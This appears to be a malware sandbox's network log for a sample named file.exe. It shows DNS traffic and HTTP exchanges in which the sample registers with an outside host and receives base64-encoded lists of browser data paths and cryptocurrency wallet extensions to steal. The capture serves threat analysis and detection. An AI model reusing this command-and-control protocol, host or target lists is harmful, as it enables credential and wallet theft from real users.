Nov 20, 2024 23:12:46.866853952 CET	192.168.2.7	1.1.1.1	0x3362	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:46.867180109 CET	192.168.2.7	1.1.1.1	0x491a	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 20, 2024 23:12:47.074456930 CET	192.168.2.7	1.1.1.1	0xd62f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:47.074712992 CET	192.168.2.7	1.1.1.1	0xf72e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 23:12:47.075170040 CET	192.168.2.7	1.1.1.1	0x691c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:47.075320005 CET	192.168.2.7	1.1.1.1	0x381a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 23:12:47.081298113 CET	192.168.2.7	1.1.1.1	0x68de	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:47.081461906 CET	192.168.2.7	1.1.1.1	0x58b9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 23:12:50.427850962 CET	192.168.2.7	1.1.1.1	0xf2ce	Standard query (0)	assets2.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:50.428311110 CET	192.168.2.7	1.1.1.1	0x1412	Standard query (0)	assets2.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 23:12:31.006182909 CET	1.1.1.1	192.168.2.7	0x5fdd	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:31.006218910 CET	1.1.1.1	192.168.2.7	0x86a3	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 23:12:37.859102964 CET	1.1.1.1	192.168.2.7	0xc7a0	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:37.859102964 CET	1.1.1.1	192.168.2.7	0xc7a0	No error (0)	plus.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:37.859291077 CET	1.1.1.1	192.168.2.7	0xbaff	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:38.861989975 CET	1.1.1.1	192.168.2.7	0x21ba	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:42.326920033 CET	1.1.1.1	192.168.2.7	0x61c5	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:42.327155113 CET	1.1.1.1	192.168.2.7	0x5fad	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:42.567843914 CET	1.1.1.1	192.168.2.7	0x5f6f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:42.567843914 CET	1.1.1.1	192.168.2.7	0x5f6f	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:42.696978092 CET	1.1.1.1	192.168.2.7	0x5a6b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:44.978307962 CET	1.1.1.1	192.168.2.7	0x1bdd	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:44.979218006 CET	1.1.1.1	192.168.2.7	0x724a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:45.374284029 CET	1.1.1.1	192.168.2.7	0x5584	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:45.374557018 CET	1.1.1.1	192.168.2.7	0xe0a6	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:45.374557018 CET	1.1.1.1	192.168.2.7	0xe0a6	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:46.422758102 CET	1.1.1.1	192.168.2.7	0xdb13	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:46.422758102 CET	1.1.1.1	192.168.2.7	0xdb13	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:46.422758102 CET	1.1.1.1	192.168.2.7	0xdb13	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:46.422758102 CET	1.1.1.1	192.168.2.7	0xdb13	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:46.453675985 CET	1.1.1.1	192.168.2.7	0xbde2	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:46.538300037 CET	1.1.1.1	192.168.2.7	0xad80	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:46.863718033 CET	1.1.1.1	192.168.2.7	0x2596	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:46.950637102 CET	1.1.1.1	192.168.2.7	0xf7dc	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:47.003887892 CET	1.1.1.1	192.168.2.7	0x3362	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:47.004582882 CET	1.1.1.1	192.168.2.7	0x491a	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:47.211556911 CET	1.1.1.1	192.168.2.7	0xf72e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 23:12:47.211929083 CET	1.1.1.1	192.168.2.7	0x691c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:47.211929083 CET	1.1.1.1	192.168.2.7	0x691c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:47.212009907 CET	1.1.1.1	192.168.2.7	0x381a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 23:12:47.213061094 CET	1.1.1.1	192.168.2.7	0xd62f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:47.213061094 CET	1.1.1.1	192.168.2.7	0xd62f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:47.218259096 CET	1.1.1.1	192.168.2.7	0x68de	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:47.218259096 CET	1.1.1.1	192.168.2.7	0x68de	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:47.218792915 CET	1.1.1.1	192.168.2.7	0x58b9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 23:12:50.649377108 CET	1.1.1.1	192.168.2.7	0xf2ce	No error (0)	assets2.msn.com	assets2.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 23:12:50.660850048 CET	1.1.1.1	192.168.2.7	0x1412	No error (0)	assets2.msn.com	assets2.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
2024-11-20 22:12:49 UTC	162.159.61.3	192.168.2.7	0x0	No error (0)	shed.dual-low.s-part-0012.t-0009.t-msedge.net	s-part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	true
2024-11-20 22:12:49 UTC	162.159.61.3	192.168.2.7	0x0	No error (0)	s-part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	true

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49710	185.215.113.206	80	7740	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 23:12:22.215919971 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 23:12:23.602391958 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 23:12:23.607613087 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 34 42 43 38 38 41 30 36 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="hwid"F54BC88A069D1524750037------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="build"mars------BKJDGCGDAAAKECAKKJDA--
Nov 20, 2024 23:12:24.074575901 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6a 51 7a 4e 57 56 69 4e 7a 67 33 4e 44 45 34 4e 47 51 30 4e 44 51 34 59 57 51 32 5a 57 4d 31 59 7a 42 69 5a 47 4a 6b 4e 44 59 79 4e 54 64 6c 4e 6a 46 6b 5a 57 4d 35 4f 44 6b 30 4d 47 59 35 4e 47 4d 35 5a 54 52 6d 4e 6a 4d 31 4d 7a 68 6c 4e 6a 52 6b 5a 6d 5a 6c 4d 6d 4d 35 5a 47 51 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YjQzNWViNzg3NDE4NGQ0NDQ4YWQ2ZWM1YzBiZGJkNDYyNTdlNjFkZWM5ODk0MGY5NGM5ZTRmNjM1MzhlNjRkZmZlMmM5ZGQxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 20, 2024 23:12:24.076030016 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 2d 2d 0d 0a Data Ascii: ------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="message"browsers------JJKJDAEBFCBKECBGDBFC--
Nov 20, 2024 23:12:24.529962063 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:24 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 20, 2024 23:12:24.530091047 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 20, 2024 23:12:24.531235933 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJKJJDHCGCAECAAECFH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: ------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="message"plugins------HJJKJJDHCGCAECAAECFH--
Nov 20, 2024 23:12:24.984764099 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:24 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 20, 2024 23:12:24.984869003 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 20, 2024 23:12:24.984905958 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 20, 2024 23:12:24.984982014 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 20, 2024 23:12:24.985018015 CET	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 20, 2024 23:12:24.985053062 CET	372	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
